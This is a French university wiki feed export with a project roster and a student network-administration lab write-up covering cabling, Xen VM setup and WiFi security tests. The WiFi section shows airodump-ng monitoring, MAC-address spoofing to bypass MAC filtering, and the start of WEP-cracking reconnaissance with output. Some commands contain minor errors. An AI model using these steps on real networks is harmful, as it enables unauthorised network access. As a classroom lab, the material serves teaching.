Dans notre commande, INAME est le nom de l'interface pour laquelle on désire vérifier la connexion. INAME est directement suivi d'un antislash et d'un espace pour éviter des problèmes de filtrage (exemple: Gi0/30 qui répond à la requête de Gi0/3). La liste des ces interfaces est indiquée sur le carte SD. Chaque matériel Cisco, qui est identifié par le nom qu'il donne lors de l'appuie sur la touche &amp;quot;entrée&amp;quot; possède sa propre liste de connections sur la SD, et ceci en correspondance avec le câblage que nous avons effectué dans le début de notre projet.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2015/2016&amp;diff=24417</id>
		<title>Projets IMA5 2015/2016</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2015/2016&amp;diff=24417"/>
				<updated>2015-12-14T17:52:11Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.&lt;br /&gt;
&lt;br /&gt;
Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Projet&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Elèves&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Encadrant Ecole&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapport décembre&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapports finaux&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Vidéo&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P1 Convertisseur DC/DC pour réseau MTDC]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mehmet Ilter &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Philippe DELARUE &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P2 Data Logger]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Hidéo VINOT&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P4 Jukebox multi-pièces]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Jouy / Julien hérin &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rodolphe Astori / Xavier Redon / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P9 Système d'hébergement domestique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Romain Libaert / Timothée Teneur &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P10 LILLIAD: Connected Learning Center | P10 LILLIAD: learning center connecté]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mageshwaran Sekar &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P11 Spectateur augmenté]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Teresa Tumbragel &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P12 Capteurs enfouis pour vieillissement du béton]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; JULITA Alex &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P14 Localisation dans le corps humain]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Matthieu Marcadet &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P18 Meuble intelligent]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Kevin Colautti / Benjamin Lefort &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rémy Bernard / Alexandre Boé / Xavier Redon / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Automatic Soldering System Project|P20 Placeur de composants sur PCB]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jean Wasilewski &amp;amp; Pierre Letousey &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Thomas Vantroys / Alexandre Boé &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P24 Nuage pour sites Web]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jeremie Denechaud / Thibaut Scholaert &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P25 Architecture ROS pour des véhicules autonomes intelligents]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jean-Michel Tournier / Cyril Smagghe &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Vincent Coelen et Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P26 Robot de forgeage et d’usinage]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Bertrand Yvernault / Louis Thebault &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P27 Robot de fraiseuse]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Flavien Royer / Maxime Morisse &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_P27_ProjetLequien.pdf‎ ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P30 Thermostat connecté et intelligent]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; TISSOT Elise / TIRABY Céline &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Guillaume Renault / Alexandre Boé / Xavier Redon &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Fichier:Rapport_PFE_TISSOT_TIRABY.pdf‎ ]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P32 Récupération d'énergie pour balise BLE]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Quentin Sultana &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Frédéric Giraud / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P33 Réalisations en faveur de l'accessibilité de jeux vidéos]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jérôme Bailet / Mehdi Zeggaï &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; GAPAS / Laurent Grisoni / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P35 Robot de test pour le sport de Golf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Deborah Saunders &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P34 Optimisation de trajectoire pour un robot de curiethérapie]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Sandra HAGE CHEHADE / Thomas DANEL &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Vincent COELEN / Rochdi MERZOUKI &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P40 Maquette mécatronique durcie d'ascenseur 5 étages]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Louis CHAUCHARD / Romain IMBERT &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Blaise CONRARD &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P13 Plateforme expérimentation IOT]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; ROCHE François &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=24259</id>
		<title>PRA 2015 - Câblage d'un réseau redondant</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=24259"/>
				<updated>2015-12-10T09:54:55Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Contournement d'un proxy */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.&lt;br /&gt;
== Câblage du résau ==&lt;br /&gt;
=== Le réseau idéal ===&lt;br /&gt;
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Idéal.png]]&lt;br /&gt;
&lt;br /&gt;
Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.&lt;br /&gt;
&lt;br /&gt;
=== L'avancement du cablage du réseau ===&lt;br /&gt;
&lt;br /&gt;
L'image suivante détaille l'état du réseau avant le 07/10/2015.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Temporaire.png]]&lt;br /&gt;
&lt;br /&gt;
Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.&lt;br /&gt;
&lt;br /&gt;
== La partie commune ==&lt;br /&gt;
=== Création d'un site Web haute disponibilité ===&lt;br /&gt;
==== Installation de la machine virtuelle ====&lt;br /&gt;
D'après notre sujet, notre site Web devait être hébergé sur une machine virtuelle fonctionnant sur le serveur que nous avions rendu redondant précédemment. Nous avons donc commencé par créer cette machine virtuelle, nommée &amp;quot;kwak&amp;quot;. Notre hôte est un serveur Xen 3.0.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/xen/kwak.cfg&lt;br /&gt;
kernel      = '/boot/vmlinuz-3.14-2-amd64'&lt;br /&gt;
extra       = 'elevator=noop'&lt;br /&gt;
ramdisk     = '/boot/initrd.img-3.14-2-amd64'&lt;br /&gt;
vcpus       = '1'&lt;br /&gt;
memory      = '512'&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/kwak/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/kwak/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
name        = 'kwak'&lt;br /&gt;
vif         = [ 'ip=193.48.57.167 ,mac=00:16:3E:FF:C3:C5 ,bridge=IMA5sc' ]&lt;br /&gt;
on_poweroff = 'destroy'&lt;br /&gt;
on_reboot   = 'restart'&lt;br /&gt;
on_crash    = 'restart'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous démarrons notre machine virtuelle.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# xl create /etc/xen/kwak.cfg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous nous connectons alors à la machine (soit en ssh soit avec la console Xen).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# xl console kwak&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, nous installons les services dont nous allons avoir besoin par la suite.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install apache2 bind&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Mise en place du service web ====&lt;br /&gt;
Pour réaliser notre site web, nous avons commencé par créer une page web basée sur notre nom de domaine: [http://pinkfluffyunicorn.lol pinkfluffyunicorn.lol]&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;script src=&amp;quot;https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;iframe style=&amp;quot;position:absolute;top:0px;left:0px;&amp;quot; id=&amp;quot;video&amp;quot; src=&amp;quot;https://www.youtube.com/embed/qRC4Vk6kisY?autoplay=1&amp;amp;showinfo=0&amp;amp;showsearch=0&amp;amp;iv_load_policy=3&amp;amp;autoplay=1&amp;quot; frameborder=&amp;quot;0&amp;quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
  &amp;lt;script&amp;gt;&lt;br /&gt;
        $(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });&lt;br /&gt;
          $(window).resize(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });});&lt;br /&gt;
        });&lt;br /&gt;
        &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Tests de sécurisation de réseaux WiFi ===&lt;br /&gt;
==== Accès par filtrage MAC ====&lt;br /&gt;
Nous avons commencé par effectuer une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisée sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng start wlan0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons surveillé le réseau WiFi, nommé &amp;quot;baguette&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26&lt;br /&gt;
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -63        9        0    0   4  54e. OPN              baguette&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On spécifie alors le canal et le BSSID à utiliser pour plus de précision.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH  4 ][ Elapsed: 18 s ][ 2015-10-22 13:29                                           &lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -52 100      146        1    0   4  54e. OPN              baguette                                                                                                               &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR   Rate    Lost    Frames  Probe                 &lt;br /&gt;
C4:14:3C:40:78:60  00:15:AF:E7:19:F3  -59    0 - 5e     0        1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ifconfig wlan1 hw ether C4:14:3C:40:78:60&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Accès par filtrage WEP ====&lt;br /&gt;
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airmon-ng &lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
&lt;br /&gt;
#airmon-ng start wlan3&lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
		(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)&lt;br /&gt;
		(mac80211 station mode vif disabled for [phy1]wlan3)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng wlan3mon&lt;br /&gt;
CH  9 ][ Elapsed: 0 s ][ 2015-11-12 11:58                                         &lt;br /&gt;
                                                                                                                                                                                                     &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                &lt;br /&gt;
 00:23:5E:1E:05:48  -57        2        0    0   7  54e. OPN              cracotte09                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:41  -56        3        0    0   7  54e. WEP  WEP         cracotte02                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:45  -57        3       22    0   7  54e. WEP  WEP         cracotte06                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:44  -56        2       19    0   7  54e. WEP  WEP         cracotte05                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:47  -55        3       42    0   7  54e. WEP  WEP         cracotte08                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:46  -55        1       67    0   7  54e. WEP  WEP         cracotte07                                                                                                                  &lt;br /&gt;
